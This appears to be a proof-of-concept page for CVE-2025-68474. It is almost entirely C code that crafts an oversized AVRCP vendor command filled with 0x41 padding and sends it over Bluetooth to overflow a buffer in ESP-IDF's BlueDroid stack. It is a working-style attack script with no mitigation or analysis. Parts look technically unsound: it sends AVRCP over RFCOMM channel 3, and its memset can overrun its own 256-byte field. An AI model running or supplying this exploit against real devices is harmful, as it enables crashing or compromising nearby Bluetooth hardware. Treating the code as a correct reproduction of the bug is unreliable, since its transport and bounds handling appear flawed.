CVE-2025-68474: ESP-IDF BlueDroid AVRCP栈缓冲区溢出漏洞

/* CVE-2025-68474 PoC - ESP-IDF BlueDroid AVRCP Buffer Overflow * This PoC demonstrates the buffer overflow in avrc_vendor_msg() * Attack Vector: Adjacent Network (Bluetooth) * Target: ESP-IDF devices with BlueDroid AVRCP stack */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <bluetooth/bluetooth.h> #include <bluetooth/rfcomm.h> // AVRCP Command Headers #define AVRC_MIN_CMD_LEN 20 #define AVRC_VENDOR_CMD_PKT_TYPE 0x00 // Malicious AVRCP Vendor Command Structure typedef struct { uint8_t pkt_type; // Packet type (0x00 for Vendor) uint8_t subtitle[3]; // Subunit ID and opcode uint8_t company_id[3]; // IEEE Vendor ID (Bluetooth SIG: 0x001958) uint8_t vendor_len; // Vendor-specific data length uint8_t vendor_data[256]; // Malicious payload } __attribute__((packed)) avrc_vendor_cmd_t; void craft_malicious_avrcp_packet(avrc_vendor_cmd_t *cmd, size_t vendor_data_len) { // Set packet type to Vendor command cmd->pkt_type = AVRC_VENDOR_CMD_PKT_TYPE; // Subunit header (will cause 29 bytes to be written before vendor_data) cmd->subtitle[0] = 0x00; // Subunit type cmd->subtitle[1] = 0x00; // Subunit ID cmd->subtitle[2] = 0x7C; // Opcode for VENDOR_DEPENDENT // Bluetooth SIG Company ID cmd->company_id[0] = 0x00; cmd->company_id[1] = 0x19; cmd->company_id[2] = 0x58; // Set vendor_len to trigger overflow (exceeds buffer allocation) cmd->vendor_len = (uint8_t)(vendor_data_len & 0xFF); // Fill vendor_data with pattern for overflow memset(cmd->vendor_data, 0x41, vendor_data_len); } int send_malicious_avrcp_packet(int sock, size_t overflow_size) { avrc_vendor_cmd_t cmd; size_t total_size; // Craft packet with overflow-sized vendor data // The vulnerability: buffer allocated based on AVRC_MIN_CMD_LEN (20) // but 29 bytes written before vendor_data copy craft_malicious_avrcp_packet(&cmd, overflow_size); total_size = sizeof(avrc_vendor_cmd_t) - sizeof(cmd.vendor_data) + overflow_size; printf("[*] Sending malicious AVRCP packet with vendor_len=%zu\n", overflow_size); printf("[*] Expected buffer: 20 bytes, Actual header: 29 bytes\n"); printf("[*] Overflow size: %zu bytes\n", overflow_size > 9 ? overflow_size - 9 : 0); // Send malicious packet via Bluetooth RFCOMM if (send(sock, &cmd, total_size, 0) < 0) { perror("[-] Send failed"); return -1; } printf("[+] Malicious packet sent successfully\n"); return 0; } int main(int argc, char *argv[]) { int sock; struct sockaddr_rc addr; size_t overflow_size = 64; // Default overflow size if (argc > 1) { overflow_size = atoi(argv[1]); } printf("=== CVE-2025-68474 PoC ===\n"); printf("Target: ESP-IDF BlueDroid AVRCP Stack\n"); printf("Vulnerability: Buffer overflow in avrc_vendor_msg()\n\n"); // Create Bluetooth socket sock = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM); if (sock < 0) { perror("[-] Socket creation failed"); return 1; } // Set target Bluetooth address (ESP device) str2ba("XX:XX:XX:XX:XX:XX", &addr.rc_bdaddr); addr.rc_family = AF_BLUETOOTH; addr.rc_channel = 3; // AVRCP channel printf("[*] Connecting to target device...\n"); if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("[-] Connection failed"); close(sock); return 1; } printf("[+] Connected successfully\n"); // Send malicious packet send_malicious_avrcp_packet(sock, overflow_size); close(sock); return 0; }